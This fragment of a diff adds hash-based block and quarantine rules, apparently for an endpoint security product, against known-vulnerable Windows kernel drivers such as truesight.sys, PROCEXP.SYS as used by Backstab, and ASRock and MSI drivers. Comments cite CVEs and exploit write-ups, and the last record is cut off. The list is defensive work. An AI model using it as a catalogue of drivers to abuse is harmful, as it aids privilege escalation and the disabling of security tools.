+  "last_update": "2026-03-23T11:45:31.814414Z",
+  "creation_date": "2026-03-23T11:45:31.814417Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814425Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "386b6aef03c78da2152aa5a111334233a101e5f2b64da7ac1acd48df07cad8fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cce8da9f-c3bc-54d2-a25d-346d2c879ae5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825707Z",
+  "creation_date": "2026-03-23T11:45:30.825709Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825715Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a6191d9bf3893260b98fdbb7fe591995ef808d0dfb9fdf0f8adc4c8e3807e39",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cce93915-2169-5854-87c8-535c4d845953",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140436Z",
+  "creation_date": "2026-03-23T11:45:31.140439Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140445Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ffbf8df7ebe5e9e986234df80d2dfe4a1c9e0c80c754ab083dca23adc479338c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cce96201-b970-5d98-a01f-b914aa626df2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485193Z",
+  "creation_date": "2026-03-23T11:45:31.485197Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485207Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f666e4c15474b933cef24d8fbec5d0548b4d8e29c8234a294f6b8d34b5a69ba0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ccebfc93-742d-552d-8679-b9f557c1a0f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157275Z",
+  "creation_date": "2026-03-23T11:45:31.157278Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157292Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11a31fe46d741ac5b1c369ba7befee1c1662c9e1ba742b59fd06fe7dc622ad3b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ccec40e6-65cb-5df2-9568-694de4162a84",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153823Z",
+  "creation_date": "2026-03-23T11:45:31.153825Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153830Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "529772e2f822515b4beb7c757ba6b24f92425da9d9001e3acdeeb66acbdcb89c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ccfd2488-c74b-5836-9e9b-c56525f8b71b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143187Z",
+  "creation_date": "2026-03-23T11:45:32.143189Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143195Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9",
+  "comment": "Vulnerable Kernel Driver (aka iQVW64.SYS) [https://www.loldrivers.io/drivers/4dd3289c-522c-4fce-b48e-5370efc90fa1/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd070543-98d2-50b8-941a-6aef5cf04953",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824216Z",
+  "creation_date": "2026-03-23T11:45:31.824219Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824227Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7fe9d82bbc96b5f06ba26cda470e65a2635a4278a756a83bc3f194f82ca876c6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd0795cf-0012-5929-818e-bfa2e5b125e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825762Z",
+  "creation_date": "2026-03-23T11:45:30.825764Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825770Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cc9c84e903cf4f38679ced83da831a3e0b1f52a67af63584dcd460ef37b2979f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd085da7-3b1d-51fc-ad80-6fad58dc7426",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823808Z",
+  "creation_date": "2026-03-23T11:45:30.823810Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823816Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c50fd5f40905bc6a5e3dd556c2ac9076c45bf474b731cf6464e0524b7a628e1b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd0cd0ee-da64-513b-8b06-892c11af7f8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495743Z",
+  "creation_date": "2026-03-23T11:45:31.495745Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495750Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1018ec7f5dd9a040766bcd50ea37af78eeb4e272fb62938c81570cc8bf579f78",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd0d686d-4b39-5c8f-bfed-f31890b68fa6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817321Z",
+  "creation_date": "2026-03-23T11:45:31.817323Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817329Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26fa810f6be2ac7eaf8abe164b866ced47bbaa09f75605482778724e1a99f0e6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd238424-daa8-5ac1-a82b-630aa6f955ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825458Z",
+  "creation_date": "2026-03-23T11:45:31.825460Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825466Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8dd2a8f5333e47806e0a43c260a43558fcfe636e2da3ace624265425bf9dad3a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd3de490-0e58-5300-b257-e8fd7fbd2e72",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605413Z",
+  "creation_date": "2026-03-23T11:45:29.605415Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605420Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74716032cc2f63c67b9df0882c6794b4bf66147d943329db5f233a04c2fd9b12",
+  "comment": "Backstab Process Explorer driver (aka PROCEXP.SYS) [https://github.com/Yaxser/Backstab/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd47f623-4458-5be1-9742-d54426297046",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487180Z",
+  "creation_date": "2026-03-23T11:45:31.487182Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487188Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f158b1653c6a42e9399b20704b5bd0e874bfff1accc74162e4b29a9eb6955218",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd497a80-a8f7-508a-a1ae-61d5c29d6d3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814210Z",
+  "creation_date": "2026-03-23T11:45:31.814213Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814221Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "35c4e2e810cd6526a6078d9e7fb5e084b7223da6d605830c9d11f5997791fe47",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd5f956f-4af1-5d0c-947a-c90e546aa174",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615677Z",
+  "creation_date": "2026-03-23T11:45:29.615679Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615684Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c513f4d4c38a10af9f4a967bb6c7901275adf0df8046fc7e1b7e4c3e3c7c3cf",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd72cf32-8a68-540b-bd38-31618cad8fbd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818820Z",
+  "creation_date": "2026-03-23T11:45:31.818823Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818831Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e259d26fedebd3a133c4455da83818ff37ec04fcaf79c1382763f5a5e0d49afc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd86920f-ca70-5587-8d37-127347bd5abc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977550Z",
+  "creation_date": "2026-03-23T11:45:29.977552Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977558Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f15ae970e222ce06dbf3752b223270d0e726fb78ebec3598b4f8225b5a0880b1",
+  "comment": "Vulnerable Kernel Driver (aka CorsairLLAccess64.sys) [https://www.loldrivers.io/drivers/a9d9cbb7-b5f6-4e74-97a5-29993263280e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd956d48-a814-57ad-b158-a0e702310218",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482153Z",
+  "creation_date": "2026-03-23T11:45:31.482157Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482167Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8cb0167095ae5e3c3614b8f292e1f492a50d9ee54123bc37935ad282e5aa0bab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd95ff3c-9515-5548-b244-77db4a972e00",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613277Z",
+  "creation_date": "2026-03-23T11:45:29.613279Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613285Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7c2e7910942dd5e43e2f4eb159bcd2b4e71366e34a68109548b9fb12ac0f7cc",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd97ec33-e529-5337-99b8-5e0a15c441a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836310Z",
+  "creation_date": "2026-03-23T11:45:30.836313Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836322Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ae14f1a2c380990785857b2e0581fd07208d26515a25463f39743018b756091",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cd9a55b4-88d6-57ac-917b-27c91c643d80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985321Z",
+  "creation_date": "2026-03-23T11:45:29.985323Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985329Z",
